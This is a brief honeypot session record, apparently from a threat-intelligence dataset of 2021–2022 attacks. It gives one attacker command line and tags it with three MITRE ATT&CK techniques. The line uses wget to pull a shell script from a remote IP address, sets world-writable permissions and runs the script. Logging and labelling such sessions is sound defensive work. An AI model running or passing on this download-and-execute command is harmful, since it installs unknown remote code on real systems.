Honeypot attack session (period 2021_2022), commands issued:
wget http://78.157.39.60/we.sh; chmod 777 *; sh we.sh

MITRE ATT&CK techniques observed:
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter